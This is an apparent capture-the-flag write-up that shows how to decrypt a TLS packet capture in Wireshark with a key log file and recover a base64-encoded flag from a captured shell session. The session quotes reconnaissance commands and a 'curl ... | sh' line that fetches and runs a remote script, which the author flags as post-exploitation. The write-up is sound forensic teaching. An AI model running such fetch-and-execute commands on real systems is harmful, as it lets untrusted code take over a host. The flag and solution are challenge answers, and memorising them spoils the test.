The AI gets mixed up when you rev it

Challenge Description

I think we can do more with this traffic we are capturing!

Flag: Raptor{R3v_inG_Th3_N3tW0rK_B4ckW4rdS}

Provided: chal2.pcap, tls_keys.log

Decrypting the Traffic

Unlike Networking 1 where strings was enough, this pcap contains TLS-encrypted traffic. The tls_keys.log file contains the session's pre-master secrets, the exact keys Wireshark needs to decrypt it:

CLIENT_RANDOM b5e297d9... 4e6659bc...

Steps in Wireshark:

1. Rename tls_keys.log to tls_keys.txt (Wireshark is picky about extensions)
2. Open Edit → Preferences → Protocols → TLS
3. Set (Pre)-Master-Secret log filename to the tls_keys.txt file
4. Apply and OK

The TLS traffic is now decrypted inline. Filter for tls, right-click the first entry, and select Follow → TLS Stream.

Reading the Stream

The decrypted stream reveals a captured shell session:

sh-4.4$ whoami
sh-4.4$ uname -a
sh-4.4$ id
sh-4.4$ pwd
sh-4.4$ echo UmFwdG9ye1Izdl9pbkdfVGgzX04zdFcwcktfQjRja1c0cmRTfQ==
sh-4.4$ echo UmFwdG9ye1Izdl9pbkdfVGgzX04zdFcwcktfQjRja1c0cmRTfQ== | base64 -d
sh-4.4$ history
sh-4.4$ curl http://internal/update.sh | sh

The base64 string is right there in the session. Decoding it:

echo UmFwdG9ye1Izdl9pbkdfVGgzX04zdFcwcktfQjRja1c0cmRTfQ== | base64 -d
Raptor{R3v_inG_Th3_N3tW0rK_B4ckW4rdS}

Key Takeaways

TLS encryption only protects traffic in transit, if the session keys are available (through a log file, a memory dump, or endpoint access), the traffic can be fully decrypted. Wireshark's pre-master secret log support exists specifically for this purpose in debugging and forensic contexts.

The shell history here also tells a broader story: someone was enumerating a compromised host (whoami, id, uname -a) and then pulled a remote script with curl http://internal/update.sh | sh, a classic post-exploitation pattern worth flagging in a real incident.

For CTF purposes: always check if a pcap challenge comes with a key file. A tls_keys.log, sslkeylog.txt, or similarly named file alongside a pcap is a direct signal to load it into Wireshark's TLS preferences before doing anything else.